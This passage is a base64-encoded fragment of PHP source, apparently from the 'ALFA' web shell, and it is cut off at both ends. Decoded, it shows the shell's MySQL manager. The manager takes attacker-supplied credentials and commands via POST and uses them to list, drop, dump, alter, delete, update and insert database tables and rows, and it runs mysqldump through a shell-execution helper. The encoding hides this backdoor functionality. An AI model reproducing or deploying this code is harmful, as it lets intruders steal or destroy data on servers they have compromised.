OnVuc2V0Oyc+Ii4kdmFsdWUuIjwvc3Bhbj48L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD48c3BhbiBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7JyBjbGFzcz0nbXlzcWxfdGFibGVfY291bnQnPih7JG5bJ24nXX0pPC9zcGFuPjwvc21hbGw+IikgLiAiPC9kaXY+PC9saT4iOwoJCX0KCQllY2hvICc8L3VsPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OiAyNnB4O21hcmdpbi1ib3R0b206IDEwcHg7bWFyZ2luLXRvcDogMTBweDsiPjxpbnB1dCBvbmNoYW5nZT0iYWxmYU15c3FsVGFibGVzRXZpbCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIGNsYXNzPSJkYi1vcHQtaWQiIG5hbWU9InRhYmxlc19ldmlsIiBzdHlsZT0icGFkZGluZzogMDt3aWR0aDogMTAwcHg7Ij48b3B0aW9uIHNlbGVjdGVkPmRyb3A8L29wdGlvbj48b3B0aW9uPmR1bXA8L29wdGlvbj48L3NlbGVjdD4gPGJ1dHRvbiBvbmNsaWNrPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcEJ0bih0aGlzKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iZGItb3B0LWlkIiBkYl90YXJnZXQ9IicuJGRiX25hbWUuJyIgdGFyZ2V0PSIuY2xzLScuJGRiX25hbWUuJyIgY2xhc3M9ImRiLW9wdC1pZCI+RG8gaXQ8L2J1dHRvbj48ZGl2IGNsYXNzPSJkdW1wLWZpbGUtaG9sZGVyIiBzdHlsZT0iZGlzcGxheTpub25lO21hcmdpbi1sZWZ0OjIwcHg7bWFyZ2luLXRvcDogNXB4OyI+PGlucHV0IHN0eWxlPSJwYWRkaW5nOiAwO3RleHQtYWxpZ246Y2VudGVyOyIgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9ImR1bXAuc3FsIiBuYW1lPSJkdW1wX2ZpbGUiPjwvZGl2PjwvZGl2Pic7Cgl9CgllY2hvICI8L2Rpdj48L2xpPiI7Cn0KZWNobyAiPC91bD48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHRzJz48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHQtdGFicyc+PGRpdiBjbGFzcz0nZGItb3B0LWlkIG15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYicgdGFyZ2V0PScubXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQnIG9uY2xpY2s9J2FsZmFNeXNxbFRhYkN0bCh0aGlzKTsnPlJlc3VsdDwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtcXVlcnktZm9ybScgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+UXVlcnk8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLXNlYXJjaC1hcmVhJyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5TZWFyY2g8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLXN0cnVjdHVyZScgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+U3RydWN0dXJlPC9kaXY+PGRpdiBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1pbnNlcnQtcm93JyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5JbnNlcnQ8L2Rpdj48ZGl2IHN0eWxlPSdkaXNwbGF5Om5vbmU7JyBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1lZGl0LXJvdycgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+RWRpdDwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtaW5zZXJ0LXJvdyBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtZWRpdC1yb3cgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXNlYXJjaC1hcmVhIG15c3FsLWhpZGUtY29udGVudCc+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1zdHJ1Y3R1cmUgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXF1ZXJ5LWZvcm0gbXlzcWwtaGlkZS1jb250ZW50Jz48ZGl2IHN0eWxlPSdtYXJnaW4tYm90dG9tOiA1cHg7Jz48c3Bhbj5RdWVyeTo8L3NwYW4+PC9kaXY+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6OTAlO2hlaWdodDoxMDBweCc+PC90ZXh0YXJlYT48cD48ZGl2IHN0eWxlPSdmbG9hdDpsZWZ0O21hcmdpbi1sZWZ0OiAzMHB4Oyc+PGlucHV0IGNsYXNzPSdidXR0b24gZGItb3B0LWlkJyBkYl90YXJnZXQ9JyIuJF9QT1NUWydzcWxfYmFzZSddLiInIG9uY2xpY2s9J2FsZmFNeXNxbFF1ZXJ5KHRoaXMpO3JldHVybiBmYWxzZTsnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZGl2PjwvcD48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50Jz48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyJz48ZGl2IHN0eWxlPSdtYXJnaW4tYm90dG9tOiAxMHB4OycgY2xhc3M9J215c3FsLXF1ZXJ5LXJlcG9ydGVyJz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1wYWdlcic+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktdGFibGUnPjwvZGl2PjwvZGl2PjwvZm9ybT48L3RkPjwvdHI+IjsKfQplY2hvICI8L3RhYmxlPjwvZGl2PiI7CmVjaG8gIjwvZGl2PiI7Cn1lbHNlewplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsKfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYVNxbF9tYW5hZ2VyX2FwaSgpewoJJGRiID0gJF9QT1NUWyJhbGZhMSJdOwoJJHR5cGUgPSAkX1BPU1RbImFsZmEyIl07Cgkkc3FsX2NvdW50ID0gJF9QT1NUWyJhbGZhMyJdID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKCSRkYiA9IEBqc29uX2RlY29kZSgkZGIsIHRydWUpOwoJJGNvbm4gPSBAbXlzcWxpX2Nvbm5lY3QoJGRiWyJob3N0Il0sICRkYlsidXNlciJdLCAkZGJbInBhc3MiXSwgJGRiWyJkYiJdKTsKCUBteXNxbGlfc2V0X2NoYXJzZXQoJGNvbm4sICJ1dGY4Iik7CglpZigkY29ubil7CgkJaWYoJHR5cGUgPT0gImxvYWRfYWxsX3RhYmxlcyIpewoJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBgdGFibGVfc2NoZW1hYCwgYHRhYmxlX25hbWVgIEZST00gYGluZm9ybWF0aW9uX3NjaGVtYWAuYHRhYmxlc2AgV0hFUkUgYHRhYmxlX3NjaGVtYWAgSU4gKCciLmltcGxvZGUoIicsJyIsICRkYlsiZGF0YWJhc2VzIl0pLiInKTsiKTsKCQkJJGNvdW50ID0gMDsKCQkJd2hpbGUoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHFfdGFibGVzKSl7CgkJCQlpZigkc3FsX2NvdW50KXsKCQkJCQkkY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WyJ0YWJsZV9zY2hlbWEiXS4nYC5gJy4kcm93WyJ0YWJsZV9uYW1lIl0uJ2AnKTsKCQkJCQlpZigkY291bnRfcSl7CgkJCQkJCSRjb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb3VudF9xKTsKCQkJCQkJJGNvdW50ID0gJGNvdW50WzBdOwoJCQkJCX0KCQkJCX0KCQkJCSR0YWJsZXNbJHJvd1sidGFibGVfc2NoZW1hIl1dW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1sidGFibGVfbmFtZSJdLCAiY291bnQiID0+IChpbnQpJGNvdW50KTsKCQkJfQoJCQlmb3JlYWNoKCRkYlsiZGF0YWJhc2VzIl0gYXMgJGRiKXsKCQkJCWlmKCFpc3NldCgkdGFibGVzWyRkYl0pKXsKCQkJCQkkdGFibGVzWyRkYl0gPSBudWxsOwoJCQkJfQoJCQl9CgkJCWVjaG8gQGpzb25fZW5jb2RlKCR0YWJsZXMpOwoJCX1lbHNlaWYoJHR5cGUgPT0gImR1bXBfZHJvcCIpewoJCQlpZigkZGJbIm1vZGUiXSA9PSAiZHJvcCIpewoJCQkJZm9yZWFjaCAoJGRiWyJ0YWJsZXMiXSBhcyAkdGFibGUpIHsKCQkJCQlAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiRFJPUCBUQUJMRSBgIi4kdGFibGUuImA7Iik7CgkJCQl9CgkJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTSE9XIFRBQkxFUzsiKTsKCQkJCSRjb3VudCA9IDA7CgkJCQl3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcV90YWJsZXMpKXsKCQkJCQlpZigkc3FsX2NvdW50KXsKCQkJCQkJJGNvdW50X3EgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAnU0VMRUNUIENPVU5UKCopIEZST00gYCcuJHJvd1swXS4nYCcpOwoJCQkJCQlpZigkY291bnRfcSl7CgkJCQkJCQkkY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7CgkJCQkJCQkkY291bnQgPSAkY291bnRbMF07CgkJCQkJCX0KCQkJCQl9CgkJCQkJJHRhYmxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRyb3dbMF0sICJjb3VudCIgPT4gKGludCkkY291bnQpOwoJCQkJfQoJCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7CgkJCX1lbHNlewoJCQkJaWYoc3RybGVuKGFsZmFFeCgibXlzcWxkdW1wIikpPjApewoJCQkJCWFsZmFFeCgibXlzcWxkdW1wIC0tc2luZ2xlLXRyYW5zYWN0aW9uIC0taG9zdD1cIiIuJGRiWyJob3N0Il0uIlwiIC0tdXNlcj1cIiIuJGRiWyJ1c2VyIl0uIlwiIC0tcGFzc3dvcmQ9XCIiLiRkYlsicGFzcyJdLiJcIiAiLiRkYlsiZGIiXS4iICIuaW1wbG9kZSgiICIsICRkYlsidGFibGVzIl0pLiIgID4gIi4kZGJbImR1bXBfZmlsZSJdKTsKCQkJCX1lbHNlewoJCQkJCSRmcCA9IEBmb3BlbigkZGJbImR1bXBfZmlsZSJdLCAidyIpOwoJCQkJCWZvcmVhY2ggKCRkYlsidGFibGVzIl0gYXMgJHRhYmxlKSB7CgkJCQkJCSRyZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7CgkJCQkJCSRjcmVhdGUgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRyZXMpOwoJCQkJCQkkc3FsID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWJsZS4iYDtcbiIgLiAkY3JlYXRlWzFdLiI7XG4iOwoJCQkJCQlpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJCSR0YmxfZGF0YSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOwoJCQkJCQkkaGVhZCA9IHRydWU7CgkJCQkJCXdoaWxlKCRpdGVtID0gQG15c3FsaV9mZXRjaF9hc3NvYygkdGJsX2RhdGEpKXsKCQkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CgkJCQkJCQlpZigkdiA9PSBudWxsKQoJCQkJCQkJJGl0ZW1bJGtdID0gIicnIjsKCQkJCQkJCWVsc2VpZihpc19udW1lcmljKCR2KSkKCQkJCQkJCSRpdGVtWyRrXSA9ICR2OwoJCQkJCQkJZWxzZQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLkBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7CgkJCQkJCQl9CgkJCQkJCQlpZigkaGVhZCkgewoJCQkJCQkJJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7CgkJCQkJCQkkaGVhZCA9IGZhbHNlOwoJCQkJCQkJfSBlbHNlCgkJCQkJCQkkc3FsID0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOwoJCQkJCQkJaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCQl9CgkJCQkJCWlmKCEkaGVhZCkKCQkJCQkJCWlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsKCQkJCQl9CgkJCQl9CgkJCQllY2hvIEBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIiA9PiB0cnVlLCAiZmlsZSIgPT4gJGRiWyJkdW1wX2ZpbGUiXSkpOwoJCQl9CgkJfWVsc2VpZigkdHlwZSA9PSAibG9hZF90YWJsZXMiKXsKCQkJJHRhYmxlcyA9IGFycmF5KCk7CgkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTSE9XIFRBQkxFUzsiKTsKCQkJJGNvdW50ID0gMDsKCQkJd2hpbGUoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHFfdGFibGVzKSl7CgkJCQlpZigkc3FsX2NvdW50KXsKCQkJCQkkY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WzBdLidgJyk7CgkJCQkJaWYoJGNvdW50X3EpewoJCQkJCQkkY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7CgkJCQkJCSRjb3VudCA9ICRjb3VudFswXTsKCQkJCQl9CgkJCQl9CgkJCQkkdGFibGVzW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1swXSwgImNvdW50IiA9PiAoaW50KSRjb3VudCk7CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7CgkJfWVsc2VpZigkdHlwZSA9PSAiYWx0ZXIiKXsKCQkJJGRiWyJhbHRlciJdWyJ0eXBlIl0gPSBzdHJ0b2xvd2VyKCRkYlsiYWx0ZXIiXVsidHlwZSJdKTsKCQkJJGlucHV0cyA9ICRkYlsiYWx0ZXIiXVsidHlwZSJdLiIoIi4kZGJbImFsdGVyIl1bImlucHV0Il0uIikiOwoJCQkkdGV4dF9pbnB1dCA9IGFycmF5KCJsb25ndGV4dCIsICJ0ZXh0IiwgIm1lZGl1bXRleHQiLCAidGlueXRleHQiKTsKCQkJaWYoaW5fYXJyYXkoJGRiWyJhbHRlciJdWyJ0eXBlIl0sICR0ZXh0X2lucHV0KSl7CgkJCQkkaW5wdXRzID0gJGRiWyJhbHRlciJdWyJ0eXBlIl07CgkJCX0KCQkJQG15c3FsaV9xdWVyeSgkY29ubiwgIkFMVEVSIFRBQkxFIGAiLiRkYlsidGFibGUiXS4iYCBNT0RJRlkgQ09MVU1OIGAiLiRkYlsiY29sdW1uIl0uImAgIiAuICRpbnB1dHMpOwoJCQkkZXJyb3IgPSBAbXlzcWxpX2Vycm9yKCRjb25uKTsKCQkJaWYoJGVycm9yKXsKCQkJCWVjaG8gJGVycm9yOwoJCQl9ZWxzZXsKCQkJCWVjaG8gIm9rIjsKCQkJfQoJCX1lbHNlaWYoJHR5cGUgPT0gImVkaXQiIHx8ICR0eXBlID09ICJkZWxldGUiIHx8ICR0eXBlID09ICJkZWxldGVfYWxsIil7CgkJCWlmKCR0eXBlID09ICJlZGl0Iil7CgkJCQkkcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgKiBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgV0hFUkUgYCIuJGRiWyJjb2xfa2V5Il0uImAgPSAnIi5hZGRzbGFzaGVzKCRkYlsia2V5Il0pLiInIExJTUlUIDAsMSIpOwoJCQkJJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHEpOwoJCQkJaWYoJHJvdyl7CgkJCQkJJGNvbHVtbnNfcXVlcnkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIGFzIG5hbWUsIENPTFVNTl9UWVBFLCBEQVRBX1RZUEUgYXMgdHlwZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIGBUQUJMRV9TQ0hFTUFgID0gJyIuJGRiWyJkYiJdLiInIEFORCBgVEFCTEVfTkFNRWAgPSAnIi4kZGJbInRhYmxlIl0uIiciKTsKCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJJGVkaXRfZGF0YSA9IGFycmF5KCk7CgkJCQkJd2hpbGUoJHJvdzIgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRjb2x1bW5zX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkJCQkJJGlucHV0ID0gYXJyYXkoImNvbF90eXBlIiA9PiAkcm93MlsiQ09MVU1OX1RZUEUiXSk7CgkJCQkJCSRyb3cyWyJ0eXBlIl0gPSBzdHJ0b2xvd2VyKCRyb3cyWyJ0eXBlIl0pOwoJCQkJCQlzd2l0Y2goJHJvdzJbInR5cGUiXSl7CgkJCQkJCQljYXNlICJsb25ndGV4dCI6IGNhc2UgInRleHQiOiBjYXNlICJtZWRpdW10ZXh0IjogY2FzZSAidGlueXRleHQiOgoJCQkJCQkJCSRpbnB1dFsidGFnIl0gPSAidGV4dGFyZWEiOwoJCQkJCQkJYnJlYWs7CgkJCQkJCQljYXNlICJpbnQiOiBjYXNlICJzbWFsbGludCI6IGNhc2UgImJpZ2ludCI6IGNhc2UgInRpbnlpbnQiOiBjYXNlICJtZWRpdW1pbnQiOgoJCQkJCQkJCSRpbnB1dFsidGFnIl0gPSAiaW5wdXQiOwoJCQkJCQkJCSRpbnB1dFsidHlwZSJdID0gIm51bWJlciI7CgkJCQkJCQlicmVhazsKCQkJCQkJCWRlZmF1bHQ6CgkJCQkJCQkJJGlucHV0WyJ0YWciXSA9ICJpbnB1dCI7CgkJCQkJCQkJJGlucHV0WyJ0eXBlIl0gPSAidGV4dCI7CgkJCQkJCX0KCQkJCQkJJGNvbHVtbnNbJHJvdzJbIm5hbWUiXV0gPSAkaW5wdXQ7CgkJCQkJfQoJCQkJCWZvcmVhY2goJHJvdyBhcyAka2V5ID0+ICR2KXsKCQkJCQkJJGVkaXRfZGF0YVtdID0gYXJyYXkoImNvbCIgPT4gJGtleSwgInZhbHVlIiA9PiBodG1sc3BlY2lhbGNoYXJzKCR2LCBFTlRfUVVPVEVTLCAnVVRGLTgnKSwgInR5cGUiID0+ICRjb2x1bW5zWyRrZXldKTsKCQkJCQl9CgkJCQkJZWNobyBAanNvbl9lbmNvZGUoJGVkaXRfZGF0YSk7CgkJCQl9CgkJCX1lbHNlewoJCQkJaWYoJHR5cGUgPT0gImRlbGV0ZV9hbGwiKXsKCQkJCQkkcm93cyA9IGltcGxvZGUoIicsICciLCAkZGJbInJvd3MiXSk7CgkJCQl9ZWxzZXsKCQkJCQkkcm93cyA9IGFkZHNsYXNoZXMoJGRiWyJrZXkiXSk7CgkJCQl9CgkJCQkkcXVlcnkgPSAiREVMRVRFIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCBJTiAoJyIuJHJvd3MuIicpIjsKCQkJCUBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCQkkZXJyb3IgPSBAbXlzcWxpX2Vycm9yKCRjb25uKTsKCQkJCWlmKCRlcnJvcil7CgkJCQkgCSRzdGF0dXMgPSBmYWxzZTsKCQkJCX1lbHNlewoJCQkJIAkkc3RhdHVzID0gdHJ1ZTsKCQkJCX0KCQkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRzdGF0dXMsICJlcnJvciIgPT4gJGVycm9yLCAicXVlcnkiID0+ICRxdWVyeSkpOwoJCQl9CgkJfWVsc2VpZigkdHlwZSA9PSAidXBkYXRlIil7CgkJCSRxdWVyeSA9ICJVUERBVEUgYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBTRVQgIjsKCQkJZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpewoJCQkJJHF1ZXJ5IC49ICJgIi4kY29sLiJgID0gJyIubXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygkY29ubiwgJHZhbCkuIicsIjsKCQkJfQoJCQkkcXVlcnkgPSBzdWJzdHIoJHF1ZXJ5LCAwLCAtMSk7CgkJICAgICRxdWVyeSAuPSAiV0hFUkUgYCIuJGRiWyJjb2xfa2V5Il0uImAgPSAnIi4kZGJbImtleSJdLiInIjsKCQkJJHJlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRyZXMsICJlcnJvciIgPT4gQG15c3FsaV9lcnJvcigkY29ubikpKTsKCQl9ZWxzZWlmKCR0eXBlID09ICJpbnNlcnQiKXsKCQkJJHF1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgIjsKCQkJZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpewoJCQkJJGNvbHMgLj0gJGNvbCAuICIsIjsKCQkJCSR2YWxzIC49ICInIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdmFsKS4iJywiOwoJCQl9CgkJCSRjb2xzID0gc3Vic3RyKCRjb2xzLCAwLCAtMSk7CgkJCSR2YWxzID0gc3Vic3RyKCR2YWxzLCAwLCAtMSk7CgkJCSRxdWVyeSA9ICRxdWVyeSAuICIoIiAuICRjb2xzIC4gIikiIC4gIlZBTFVFUygiIC4gJHZhbHMgLiAiKSI7CgkJCSRyZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwoJCQllY2hvIEBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIiA9PiAkcmVzLCAiZXJyb3IiID0+IEBteXNxbGlfZXJyb3IoJGNvbm4pKSk7CgkJfWVsc2V7CgkJCSRwYWdlcyA9IDA7CgkJCSR0aXRsZSA9IGZhbHNlOwoJCQkkcXVlcnkgPSAiIjsKCQkJJHRibF9jb250ZW50ID0gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjEiIGNlbGxwYWRkaW5nPSIyIiBjbGFzcz0ibWFpbiBteXNxbC1kYXRhLXRibCIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsKCQkJJGxpbmUgPSAwOwoJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJJGNvbHVtbnMgPSBhcnJheSgpOwoJCQlpZigkdHlwZSA9PSAibG9hZF9kYXRhIil7CgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIExJTUlUIDAsMzAiOwoJCQkJJHRibF9jb3VudF9xID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAiKTsKCQkJCSR0YmxfY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkdGJsX2NvdW50X3EpOwoJCQkJJGNvbHVtbnNfcXVlcnkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIGFzIG5hbWUsIENPTFVNTl9UWVBFIGFzIHR5cGUsIENPTExBVElPTl9OQU1FIGFzIGNvbGxhdGlvbiwgREFUQV9UWVBFIGFzIGRhdGFfdHlwZSwgQ0hBUkFDVEVSX01BWElNVU1fTEVOR1RIIGFzIHR5cGVfdmFsdWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSBgVEFCTEVfU0NIRU1BYCA9ICciLiRkYlsiZGIiXS4iJyBBTkQgYFRBQkxFX05BTUVgID0gJyIuJGRiWyJ0YWJsZSJdLiInIik7CgkJCQl3aGlsZSgkcm93MiA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCQkJCSRjb2x1bW5zW10gPSAkcm93MjsKCQkJCX0KCQkJCWlmKCR0YmxfY291bnRbMF0gPiAzMCl7CgkJCQkJJHBhZ2VzID0gY2VpbCgkdGJsX2NvdW50WzBdIC8gMzApOwoJCQkJfQoJCQl9ZWxzZWlmKCR0eXBlID09ICJxdWVyeSIpewoJCQkJJHF1ZXJ5ID0gJGRiWyJxdWVyeSJdOwoJCQl9ZWxzZWlmKCR0eXBlID09ICJwYWdlIil7CgkJCQkkZGJbInBhZ2UiXSA9IChpbnQpJGRiWyJwYWdlIl0gLSAxOwoJCQkJJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBMSU1JVCAiLigkZGJbInBhZ2UiXSozMCkuIiwzMCI7CgkJCX1lbHNlaWYoJHR5cGUgPT0gInNlYXJjaCIpewoJCQkJJHNlYXJjaCA9ICIiOwoJCQkJJHNlYXJjaF9ub3ZhbCA9IGFycmF5KCI9ICcnIiwgIiE9ICcnIiwgIklTIE5VTEwiLCAiSVMgTk9UIE5VTEwiKTsKCQkJCWZvcmVhY2goJGRiWyJzZWFyY2giXSBhcyAkY29sID0+ICR2YWwpewoJCQkJCSRzZWFyY2hfbm92YWxfciA9IGluX2FycmF5KCR2YWxbIm9wdCJdLCAkc2VhcmNoX25vdmFsKTsKCQkJCQlpZihlbXB0eSgkdmFsWyJ2YWx1ZSJdKSAmJiAhJHNlYXJjaF9ub3ZhbF9yKWNvbnRpbnVlOwoJCQkJCWlmKHN0cnN0cigkdmFsWyJvcHQiXSwgIi4uLiIpIHx8ICRzZWFyY2hfbm92YWxfcil7CgkJCQkJCSR2YWxbIm9wdCJdID0gc3RyX3JlcGxhY2UoIi4uLiIsICR2YWxbInZhbHVlIl0sICR2YWxbIm9wdCJdKTsKCQkJCQkJJHNlYXJjaCAuPSAkY29sIC4gIiAiIC4gJHZhbFsib3B0Il0gLiAiIEFORCAiOwoJCQkJCX1lbHNlewoJCQkJCQkkc2VhcmNoIC49ICRjb2wgLiAiICIgLiAkdmFsWyJvcHQiXSAuICIgJyIuYWRkc2xhc2hlcygkdmFsWyJ2YWx1ZSJdKS4iJyBBTkQgIjsKCQkJCQl9CgkJCQl9CgkJCQkkc2VhcmNoIC49ICIxPTEiOwoJCQkJJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSAiIC4gJHNlYXJjaDsKCQkJfQoJCQkkcV90YWJsZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwoJCQlpZighJHFfdGFibGVzKXsKCQkJCWVjaG